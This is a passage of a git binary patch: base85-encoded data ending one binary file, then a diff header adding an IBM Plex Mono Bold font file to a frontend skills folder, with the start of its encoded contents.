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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/IBMPlexMono-Bold.ttf b/skills/frontend-dev/canvas-fonts/IBMPlexMono-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..247979caeb26c286a33cfd33234188d370c1c0ff GIT binary patch literal 136008 zcmd442Ygk<)(1K>`{bmOLK>u=lS=xjX{0w=fRIo^Cxj3pkU$bZzyjC-6&0}|BKC%$ zh!A@R6~$|>*sta4wV>Am$@{O_b8=3I*YA4Y_r2dE%$~AmUX4b5|595rnp|}{B zX;f8pjctQ%6=ULRl-@V0ZeoLF)r4`38IkuIHmYGt#ZGb0_l%jhGv>=CHssiD-gC?2 zsGpDe^O~17Ez9`5`UA#7_A%!DUh~RsQ&6q;7-Rf6?pG~b*1FU<eS02bS}n@DTAR9- zv0==NbSCZxw=P+|aA!*q^0PNH{y@*7mZk-<xh-eo{yN;xU4#O!35H1IXCa@oXleK9 zzdvzcEMw__CpdUXM|0Dw4=?zgvEf@7^YL5Sbow%5h0z!Fi%{RRw57Xg+Zn6q`2)xo zwl^(px$BI>7c=I+2RMpl9bMg%jz*q~TX!>-aBNv;%d%H{`IR8f<9OyR#+k-^m>&yf zUVVKm2zh2O@LyOuTf~f%!#_VzgK4*+CYSel?>8uE>^;(ZM4YMW$cl6^7-WfHPygeM zE8m(MRP+<`)xMxR?-yw&DL!^t%mF;ROPpyq3w3?bxa*(ZA7dj>AQmiXZ$(UL-!46E zrF7-$&Lx?(P2KJN36w^%IyQ@~WllDlEoOJH3f9dI1B<b2HQUCB_W^zREP#(;M!pzf zBEoVI$iM<b55lJ`fEh%ic$j&i>y4rjPmI%JK8G#fP9I<4@8jzwG$yp2Omvj7{E?_5 z|Ba~_Z{j-{`&}3$Z48`;&SU&4x+x53pD~l99-yEy{1Yr1xCbBvvOHYxWqVNe0sc5Q zaL|y4@DN<nc{;9HJPX&Ud@8Qz@$+zfo<EQ45q<>M<B&xzB18nP!v)$Eu_6}Nbb)6@ zw#ddcSLEVaAV%U^EQ)ch5jD7u6=QLoASN)bJ*~aMH0@RG6I_4L`T#M5P-Tugz<lc( z_i}#8^aH%_yaTK%_8_>X&7G5V0Ag-3Rku~`;q#CYnJ7p%Bc)}UYW8T!HT8{&(@h&q z8^<izXsR(SYFe<zkSt@|XxTVD$FzqvG`8V7xzW6*Y<hHmvSs@8LbPL`cJK(QZ=8-6 zPE#!)mPI)yQOPTFoN14iQr9@CanHJ{=sjgs)1%F1Q}v$5>l*hwUKMSgJ{`4;{g49U zGuwtKn7skBF&+1P^i~=g_moBNVbeEmq&6EG6U}?pZQK~W5qPNl0rvPQ1)QB)P^Jn% z3A6!9R3G5$>d+XXL~}G1B$^Y=fOC2k`u5En*U(rENX^r;h~^or2Qo2)i45KY0TGmV z42fhG2kjC<Ba-=KJcjW)u!KE^$EsNYOM`fYs7eBP3rj^wkSftw4)XCBG_Dc@hWiv& z$x=|JH|@nHvq>x$L&&U3jLZSR%q#+c=ykl2i<YfGAxVII@Kh0tMOmmS@s)kY;VD;N zek=y}hXOqxRmY#5!<NV=lT=9n8^?<Aq#5<}mWQD4RG{x_2NVj16nbZXTsl8{SQ!gr zyqj+5ajA-zsd%U7{S`e--bXB-lX(mwJYR-hC|;)G8&teg#V@P41I(a$^H>yge-G=R z80`e9_y!fr@@}w(bZG^f&$OzV+Q}@l8JdilmOzyOFaz!~=wJ?ZyVKkwjY(!{Q|Dq9 z=6S_KRGXgCm_ZvYo@R5<i(ck~@*0Nm&k9Muf$$L^jvsVJ88jZ}n>A=4{s5 bHk! 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 